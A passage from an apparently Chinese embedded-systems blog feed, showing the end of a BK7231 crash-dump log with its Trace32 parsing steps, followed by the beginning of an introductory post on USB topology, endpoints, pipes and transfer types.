</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x10101010
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x11111111
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000070
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x004014e8
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x000102c4
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  SVC:cpsr spsr r8-r14
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000093
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x6000001f
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x08080808
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x09090909
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x10101010
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x11111111
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000070
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00403208
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x0007e69c
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  ; CPU Registers:
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  reg_cmm_start:
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set cpsr 0x0000009b
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set spsr 0x0000003f
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set pc 0x000102c4
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r0 0x004157d0
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r1 0x00000800
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r2 0x00000001
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r3 0x004157d0
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r4 0x0003c851
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r5 0x003f03d8
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r6 0x003f0398
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r7 0x003f03d8
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r8 0x08080808
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r9 0x08080808
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r10 0x08080808
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r11 0x11111111
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r12 0x00000070
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r13 0x00416bc0
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  register.set r14 0x0003c857
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  reg_cmm_end:
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  dump tcm:
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  tcm_start:
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  00 00 00 00 02 00 00 00 00 00 00 00 6a 84 28 05 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  89 c1 09 fe 00 88 a2 cf e4 23 00 00 59 96 c8 65 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  aa 30 c0 ba 44 df 7a 72 6b 82 26 52 8a 08 a8 28 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  7f 07 1e 00 ff dd 63 80 ce 8a 75 a9 aa 2e 78 86 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  39 03 f9 dd f0 bc 01 da 00 80 00 00 30 01 c0 d8 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  00 00 00 00 95 21 39 47 cc 5e 30 7b 90 90 88 88 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  90 90 90 90 98 a0 94 a8 a8 d0 b8 e0 b4 e8 b0 e8 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  ae e8 ae e8 ae e8 ad e7 ac e8 ac e7 a7 ff f8 10 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  00 00 00 00 05 00 01 00 00 80 00 00 02 00 00 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  00 00 00 00 18 00 00 00 51 01 00 00 00 00 00 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  00 00 00 00 09 00 00 00 00 00 00 f0 30 00 00 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  01 00 01 00 e0 00 01 00 70 00 01 00 01 00 01 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  05 00 01 00 39 03 f9 dd 02 00 00 00 2c 01 00 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  a7 ff f8 00 a7 ff f8 00 01 02 ba 00 95 00 00 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  00 00 00 00 08 01 57 03 00 02 00 00 00 08 00 18 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  00 20 c0 2c 01 00 00 00 2b 08 a9 07 ff 0f a0 0f 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  01 08 42 08 00 88 00 c4 fa 56 74 00 00 00 00 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  00 00 00 00 65 e0 b2 80 77 db 77 00 74 d8 74 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  64 00 00 80 00 00 00 00 28 36 00 00 00 00 00 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  00 00 00 00 00 00 00 00 31 b1 b1 b1 b1 b1 b1 b1 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  b1 b1 b1 b1 31 b1 94 94 94 94 94 93 93 93 93 93 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  92 92 92 92 92 91 91 91 91 10 90 90 90 90 90 90 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  90 90 90 90 90 90 90 90 90 90 90 90 90 90 18 98 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  98 98 98 98 98 98 98 98 98 98 18 98 2d ad ad ad 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  ad ad ad ad ad ad ad ad 2d ad 00 00 0f 0d 0d 01 
</span></span><span class="line"><span class="cl">... ...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  tcm_end:
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  dump ram:
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  ram_start:
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  89 0f 07 00 51 0f 07 00 d0 07 00 00 00 10 00 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  c8 47 8c 42 00 48 00 c8 47 8c 42 00 49 00 00 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  00 08 00 00 00 00 00 00 00 00 00 00 79 f3 3f 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:48]  4d f5 3f 00 71 f6 3f 00 c1 6c 01 00 1d 74 01 00 
</span></span><span class="line"><span class="cl">... ...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  dd dd dd dd dd dd dd dd 00 00 00 00 00 00 00 00 
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  ram_end:
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  shutdown...
</span></span><span class="line"><span class="cl">[2024-07-23 15:35:41]  
</span></span></code></pre></td></tr></table>
</div>
</div><p>将 dumplog、elf 文件放到 bkdump 目录, 执行脚本 bk_dump_parser.py 解析 dumplog。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">T32<span class="se">\b</span>kdump on  master <span class="o">[</span>?<span class="o">]</span> via 🐍 v2.7.18
</span></span><span class="line"><span class="cl">❯ py -3 .<span class="se">\b</span>k_dump_parser.py --log .<span class="se">\d</span>umplog.log
</span></span><span class="line"><span class="cl">write reg.cmm
</span></span><span class="line"><span class="cl">write tcm.bin
</span></span><span class="line"><span class="cl">write ram.bin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">T32<span class="se">\b</span>kdump on  master <span class="o">[</span>?<span class="o">]</span> via 🐍 v2.7.18
</span></span><span class="line"><span class="cl">❯ ls
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    目录: C:<span class="se">\U</span>sers<span class="se">\x\D</span>esktop<span class="se">\T</span>32<span class="se">\b</span>kdump
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Mode                 LastWriteTime         Length Name
</span></span><span class="line"><span class="cl">----                 -------------         ------ ----
</span></span><span class="line"><span class="cl">-a----         2024/7/23     15:33       <span class="m">10147160</span> beken7231_bsp.elf
</span></span><span class="line"><span class="cl">-a----         2024/7/23     15:33        <span class="m">2372336</span> beken7231_bsp.map
</span></span><span class="line"><span class="cl">-a----         2024/7/23     17:03           <span class="m">2922</span> bk_dump_parser.py
</span></span><span class="line"><span class="cl">-a----         2024/7/23     15:35        <span class="m">1194721</span> dumplog.log
</span></span><span class="line"><span class="cl">-a----         2024/7/23     19:35         <span class="m">196352</span> ram.bin
</span></span><span class="line"><span class="cl">-a----         2024/7/23     19:35            <span class="m">531</span> reg.cmm
</span></span><span class="line"><span class="cl">-a----         2024/7/23     19:35          <span class="m">61440</span> tcm.bin
</span></span></code></pre></td></tr></table>
</div>
</div><p>点击 T32_beken_7231.bat 启动 Trace32
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240723/image.4916862rkk.webp" alt=""  />
</p>
<p>查看任务调用栈
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240723/image.9nzoqlj1nz.webp" alt=""  />
</p>
<p>查看任务列表
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240723/image.6m3spditri.webp" alt=""  />
</p>
<p>切换任务上下文
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240723/image.26ldk47hmb.webp" alt=""  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>USB 知识笔记（一）</title>
      <link>https://hacperme.com/posts/notes/20240718_linux_drive_usb_1/</link>
      <pubDate>Thu, 18 Jul 2024 01:31:42 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20240718_linux_drive_usb_1/</guid>
      <description>设计 USB 接口的目的 设计USB接口的主要目的包括： 统一标准： USB接口的设计旨在提供一个统一的标准，取代过去各种不同的接口（如串口、并口、PS/</description>
      <content:encoded><![CDATA[<h2 id="设计-usb-接口的目的">设计 USB 接口的目的</h2>
<p>设计USB接口的主要目的包括：</p>
<ol>
<li>
<p><strong>统一标准</strong>：</p>
<ul>
<li>USB接口的设计旨在提供一个统一的标准，取代过去各种不同的接口（如串口、并口、PS/2等），简化连接和接口类型，方便用户使用。</li>
</ul>
</li>
<li>
<p><strong>即插即用</strong>：</p>
<ul>
<li>提供即插即用的功能，使用户无需重启计算机或进行复杂的设置就能使用新设备，大大提高了设备的易用性。</li>
</ul>
</li>
<li>
<p><strong>高效的数据传输</strong>：</p>
<ul>
<li>设计高效的数据传输协议，支持不同速度的传输模式（如低速、全速、高速和超高速），满足各种设备的性能需求。</li>
</ul>
</li>
<li>
<p><strong>电力供应</strong>：</p>
<ul>
<li>通过USB接口供电，使一些外部设备（如键盘、鼠标、U盘等）无需额外的电源适配器，简化了设备的使用。</li>
</ul>
</li>
<li>
<p><strong>热插拔功能</strong>：</p>
<ul>
<li>支持热插拔，使用户可以在不关闭设备电源的情况下插拔USB设备，提高了使用的灵活性和便利性。</li>
</ul>
</li>
<li>
<p><strong>扩展性</strong>：</p>
<ul>
<li>设计支持通过集线器扩展多个USB设备，提升了接口的扩展性，满足更多设备连接的需求。</li>
</ul>
</li>
</ol>
<h2 id="usb-的发展和特点">USB 的发展和特点</h2>
<table>
<thead>
<tr>
<th>版本</th>
<th>发布年份</th>
<th>传输速率</th>
<th>主要特点</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>USB 1.0</strong></td>
<td>1996</td>
<td>1.5 Mbps（低速）和12 Mbps（全速）</td>
<td>最早的USB标准，主要用于低速设备如键盘和鼠标</td>
</tr>
<tr>
<td><strong>USB 1.1</strong></td>
<td>1998</td>
<td>1.5 Mbps和12 Mbps</td>
<td>修正了USB 1.0的一些问题，提高了兼容性和稳定性</td>
</tr>
<tr>
<td><strong>USB 2.0</strong></td>
<td>2000</td>
<td>480 Mbps（高速）</td>
<td>大幅提升传输速率，广泛应用于U盘、外部硬盘、打印机等设备，向下兼容USB 1.x设备</td>
</tr>
<tr>
<td><strong>USB 3.0</strong></td>
<td>2008</td>
<td>5 Gbps（超高速）</td>
<td>增加了更多传输通道（双向传输），提升了数据传输效率，蓝色插头和连接器以区分USB 2.0</td>
</tr>
<tr>
<td><strong>USB 3.1</strong></td>
<td>2013</td>
<td>10 Gbps（超级速度+）</td>
<td>进一步提升传输速率，并引入了新的Type-C接口标准</td>
</tr>
<tr>
<td><strong>USB 3.2</strong></td>
<td>2017</td>
<td>10 Gbps和20 Gbps（双通道）</td>
<td>引入多通道技术，提升传输速度和带宽，全面支持Type-C接口</td>
</tr>
<tr>
<td><strong>USB4</strong></td>
<td>2019</td>
<td>最高40 Gbps</td>
<td>基于Thunderbolt 3协议，提供更高的传输速率和更好的数据传输性能，支持多种协议（如PCIe和DisplayPort），并完全采用Type-C接口</td>
</tr>
<tr>
<td><strong>USB Type-C</strong></td>
<td>-</td>
<td>-</td>
<td>可逆设计，支持多种协议（如USB 3.x、USB4、Thunderbolt 3等），高功率传输（支持USB PD协议，提供高达100W的功率）</td>
</tr>
</tbody>
</table>
<h2 id="usb-的拓扑结构和特点">USB 的拓扑结构和特点</h2>
<p>USB的拓扑结构是树形结构，这种结构使得设备可以通过多个层次的集线器（HUB）连接到主机。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">                          主机（Host）
</span></span><span class="line"><span class="cl">                             |
</span></span><span class="line"><span class="cl">                         根集线器（Root Hub）
</span></span><span class="line"><span class="cl">                        /    |     \    \
</span></span><span class="line"><span class="cl">                       /     |      \    \
</span></span><span class="line"><span class="cl">                 设备1  集线器1（Hub1） 设备2  设备3
</span></span><span class="line"><span class="cl">                           /  |  \
</span></span><span class="line"><span class="cl">                          /   |   \
</span></span><span class="line"><span class="cl">                    设备4  设备5  集线器2（Hub2）
</span></span><span class="line"><span class="cl">                                    /   \
</span></span><span class="line"><span class="cl">                                   /     \
</span></span><span class="line"><span class="cl">                             设备6  设备7
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="usb拓扑结构">USB拓扑结构</h3>
<ul>
<li>
<p>根集线器（Root Hub）：</p>
<p>每个USB系统有一个根集线器，通常集成在主控制器（Host Controller）中。
根集线器直接连接到主机，并为主机提供多个端口，用于连接USB设备或下级集线器。</p>
</li>
<li>
<p>集线器（Hub）：</p>
<p>集线器用于扩展连接能力，每个集线器有一个上行端口（连接到上一级集线器或根集线器）和多个下行端口（连接到设备或下一级集线器）。
集线器可以级联，最多支持5级集线器（包括根集线器）。</p>
</li>
<li>
<p>设备（Device）：</p>
<p>设备可以是任何USB外围设备，如键盘、鼠标、打印机、U盘等。
设备通过集线器的下行端口连接到主机。</p>
</li>
</ul>
<h3 id="拓扑结构特点">拓扑结构特点</h3>
<ul>
<li>
<p>树形结构：</p>
<p>USB拓扑结构呈树形，主机位于树的根部，通过根集线器连接多个设备和集线器。
这种结构便于扩展，通过增加集线器可以连接更多的设备。</p>
</li>
<li>
<p>最多层级：</p>
<p>USB规范规定，从根集线器到设备的最大层级数为5级，包括根集线器。
这意味着从主机到最远的设备最多可以经过4个集线器。</p>
</li>
<li>
<p>端口数量：</p>
<p>每个集线器可以有多个下行端口，一般为4到7个，具体数量取决于集线器的设计。</p>
</li>
<li>
<p>电源管理：</p>
<p>集线器和设备可以通过USB供电。高功率设备可能需要自带电源适配器，而低功率设备（如鼠标、键盘）可以直接从USB端口获取电力。</p>
</li>
<li>
<p>即插即用：</p>
<p>USB支持即插即用，用户可以在不关闭主机电源的情况下插拔设备，操作系统会自动识别并配置设备。</p>
</li>
</ul>
<p><img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/image.4uatmapz59.webp" alt=""  />
</p>
<ul>
<li>
<p>USB 连接
USB 连接指的就是连接 USB 设备和主机（或 Hub）的四线电缆。电缆中包括 VBUS（电源线）、GND（地线）和两根信号线。USB 系统就是通过 VBUS 和 GND 向 USB 设备提供电源的。主机对连接的 USB 设备提供电源供其使用，而每个 USB 设备也能够有自己的电源。
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/image.5tqwzh83ns.webp" alt=""  />
</p>
</li>
<li>
<p>USB Host Controller （USB 主机控制器）
控制所有的 USB 设备的通信，一个 USB 控制器和一个 Hub 集成在一起，而这个Hub 也被称做 Root Hub。</p>
</li>
<li>
<p>USB 设备
USB 设备包括了 Hub 和功能设备</p>
</li>
</ul>
<h4 id="composite-device组合设备和-compound-device复合设备">Composite Device（组合设备）和 Compound Device（复合设备）</h4>
<p><img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/image.99t8rkp9p3.webp" alt=""  />
</p>
<p>在USB术语中，Compound Device（复合设备）和 Composite Device（组合设备）都是指含有多个功能的USB设备，但它们有不同的架构和特点。以下是它们的差异和特点：</p>
<table>
<thead>
<tr>
<th>特点</th>
<th>Composite Device（组合设备）</th>
<th>Compound Device（复合设备）</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>USB地址</strong></td>
<td>共享一个USB地址</td>
<td>每个功能设备有独立的USB地址</td>
</tr>
<tr>
<td><strong>内部结构</strong></td>
<td>多个接口共享同一个USB设备</td>
<td>包含一个内部集线器和多个功能设备</td>
</tr>
<tr>
<td><strong>管理和控制</strong></td>
<td>简单，因为所有功能共享同一个地址</td>
<td>复杂，因为每个功能设备独立管理</td>
</tr>
<tr>
<td><strong>设备描述符</strong></td>
<td>一个设备描述符，多个接口描述符</td>
<td>每个功能设备有独立的设备描述符</td>
</tr>
<tr>
<td><strong>应用示例</strong></td>
<td>键盘和触摸板的组合设备</td>
<td>多功能打印机</td>
</tr>
</tbody>
</table>
<h3 id="usb-总线及其传输方式">USB 总线及其传输方式</h3>
<p>USB 总线是一种轮询式总线。协议规定所有的数据传输都必须由主机发起，由主机控制器初始化所有的数据传输。</p>
<h4 id="usb-通信的端点和管道">USB 通信的端点和管道</h4>
<p>USB端点（Endpoint）是USB设备进行数据传输的基本单元，每个端点具有唯一的地址和特定的功能。主机和端点之间的数据传输是通过 Pipe（管道）。</p>
<p>端点就是通信的发送点或者接收点，要发送数据，只需把数据发送到正确的端点就可以了。</p>
<p>端点具有方向性，可以是输入端点（IN），用于从设备向主机发送数据；也可以是输出端点（OUT），用于从主机向设备发送数据。但一般没有既是 in 又是 out 的。</p>
<p>协议规定了，所有的 USB 设备必须具有端点 0，它可以作为 in 端点，也可以作为 out 端点。USB 系统软件利用它来实现默认的控制管道，从而控制设备。</p>
<p>端点的数量是有限的，除了端点 0，低速设备最多只能拥有两个端点，高速设备也最多只能拥有 15 个 in 端点和 15 个 out 端点。</p>
<p>每个端点在一个设备中有唯一的地址，由端点号（Endpoint Number）和方向（Direction）组成。</p>
<p>USB 端点有四种类型，分别对应了四种不同的数据传输方式：
它们是控制传输（Control Transfers）、中断传输（Interrupt Data Transfers）、批量传输（Bulk Data Transfers）和等时传输（Isochronous Data Transfers）</p>
<p>每个端点都有一个端点描述符（Endpoint Descriptor），包含端点的特性信息，如端点地址、方向、传输类型、最大包大小等。</p>
<p>USB端点的特点总结：</p>
<table>
<thead>
<tr>
<th><strong>特性</strong></th>
<th><strong>描述</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>唯一标识</strong></td>
<td>每个端点在设备中有唯一的地址，由端点号和方向组成。</td>
</tr>
<tr>
<td><strong>方向性</strong></td>
<td>输入端点（IN）：从设备向主机发送数据。<!-- raw HTML omitted -->输出端点（OUT）：从主机向设备发送数据。</td>
</tr>
<tr>
<td><strong>端点类型</strong></td>
<td>控制端点：设备配置和管理。<!-- raw HTML omitted -->中断端点：周期性、小数据量传输，低延迟。<!-- raw HTML omitted -->批量端点：大数据量传输，高可靠性。<!-- raw HTML omitted -->等时端点：实时数据传输，恒定带宽。</td>
</tr>
<tr>
<td><strong>数据传输类型</strong></td>
<td>控制传输、中断传输、批量传输和等时传输。</td>
</tr>
<tr>
<td><strong>带宽分配</strong></td>
<td>主机控制器在设备枚举过程中分配带宽，确保端点有足够带宽进行数据传输。</td>
</tr>
<tr>
<td><strong>端点描述符</strong></td>
<td>包含端点地址、方向、传输类型、最大包大小等信息。</td>
</tr>
<tr>
<td><strong>数据缓冲区</strong></td>
<td>存储待发送或接收的数据，缓冲区大小和数量取决于端点类型和设备设计。</td>
</tr>
<tr>
<td><strong>流量控制</strong></td>
<td>通过握手包（ACK、NAK、STALL）进行流量控制，确保数据传输可靠性和完整性。</td>
</tr>
<tr>
<td><strong>端点零（Endpoint 0）</strong></td>
<td>用于设备初始配置和控制传输，在设备枚举过程中扮演关键角色。</td>
</tr>
</tbody>
</table>
<p>管道代表着在主机和设备上的端点之间移动数据的能力，管道的一端是主机上的一个缓冲区，一端是设备上的端点。</p>
<p>管道的通信方式有两种：一种是stream 的，一种是 message 的。
message 管道要求从它那儿过的数据必须具有一定的格式，它主要就是用于主机向设备请求信息的，必须得让设备明白请求的是什么。而 stream 对数据没有特殊的要求。
协议中规定，message 管道必须对应两个相同号码的端点：一个用来 in，一个用来 out，默认管道就是 message 管道。</p>
<p>USB总线、端点及其传输方式总结：</p>
<table>
<thead>
<tr>
<th><strong>分类</strong></th>
<th><strong>特征</strong></th>
<th><strong>描述</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>USB总线</strong></td>
<td><strong>总线结构</strong></td>
<td>树形拓扑，包括主机控制器、根集线器、集线器和设备，呈树状层次结构。</td>
</tr>
<tr>
<td></td>
<td><strong>主从控制</strong></td>
<td>主机控制数据传输的时序和仲裁，设备通过总线连接到主机。</td>
</tr>
<tr>
<td></td>
<td><strong>差分信号传输</strong></td>
<td>使用D+和D-两根线进行差分信号传输，抗干扰能力强。</td>
</tr>
<tr>
<td></td>
<td><strong>数据包传输</strong></td>
<td>数据以包为单位传输，包括令牌包、数据包、握手包和特殊包。</td>
</tr>
<tr>
<td></td>
<td><strong>同步和握手机制</strong></td>
<td>通过Sync字段实现同步，通过握手包确认数据传输状态（ACK、NAK、STALL）。</td>
</tr>
<tr>
<td></td>
<td><strong>供电功能</strong></td>
<td>USB总线可为设备供电，不同版本提供不同的电力供应能力（如USB 2.0提供5V/500mA，USB 3.0提供5V/900mA）。</td>
</tr>
<tr>
<td><strong>端点</strong></td>
<td><strong>端点类型</strong></td>
<td>控制端点（Endpoint 0）：用于设备配置和管理。 <!-- raw HTML omitted --> 数据传输端点：包括中断端点、批量端点和等时端点。</td>
</tr>
<tr>
<td></td>
<td><strong>端点属性</strong></td>
<td>方向性：端点可以是输入端点（IN）或输出端点（OUT）。 <!-- raw HTML omitted --> 唯一性：每个端点在设备中具有唯一的地址（由端点号和方向性组成）。</td>
</tr>
<tr>
<td><strong>传输方式</strong></td>
<td><strong>控制传输（Control Transfer）</strong></td>
<td>用途：设备配置、命令和状态查询。 <!-- raw HTML omitted --> 特点：包括设置、数据和状态三个阶段，短包传输。 <!-- raw HTML omitted --> 应用：设备枚举和初始化过程。</td>
</tr>
<tr>
<td></td>
<td><strong>中断传输（Interrupt Transfer）</strong></td>
<td>用途：周期性的小数据量传输，低延迟需求。 <!-- raw HTML omitted --> 特点：设备周期性地发送中断数据包，保证数据的及时性。 <!-- raw HTML omitted --> 应用：键盘、鼠标等输入设备。</td>
</tr>
<tr>
<td></td>
<td><strong>批量传输（Bulk Transfer）</strong></td>
<td>用途：大数据量可靠传输。 <!-- raw HTML omitted --> 特点：利用总线空闲时间传输数据，有CRC校验和重传机制，保证数据完整性。 <!-- raw HTML omitted --> 应用：打印机、U盘等需要传输大数据量的设备。</td>
</tr>
<tr>
<td></td>
<td><strong>等时传输（Isochronous Transfer）</strong></td>
<td>用途：需要恒定带宽和实时数据传输的应用。 <!-- raw HTML omitted --> 特点：保证传输时间一致性，无重传机制，适用于实时数据流。 <!-- raw HTML omitted --> 应用：音频设备、视频摄像头等。</td>
</tr>
</tbody>
</table>
<h3 id="usb-逻辑拓扑结构">USB 逻辑拓扑结构</h3>
<p>在内核中的实现所有的 Hub 和设备都被看做是一个个的逻辑设备（Logical Device）。
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240718/image.6bgyosggqx.webp" alt=""  />
</p>
<p>一个 USB 逻辑设备就是一系列端点的集合，它与主机之间的通信发生在主机上的一个缓冲区和设备上的一个端点之间，通过管道来传输数据。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240718/image.2vemwpa5mk.webp" alt=""  />
</p>
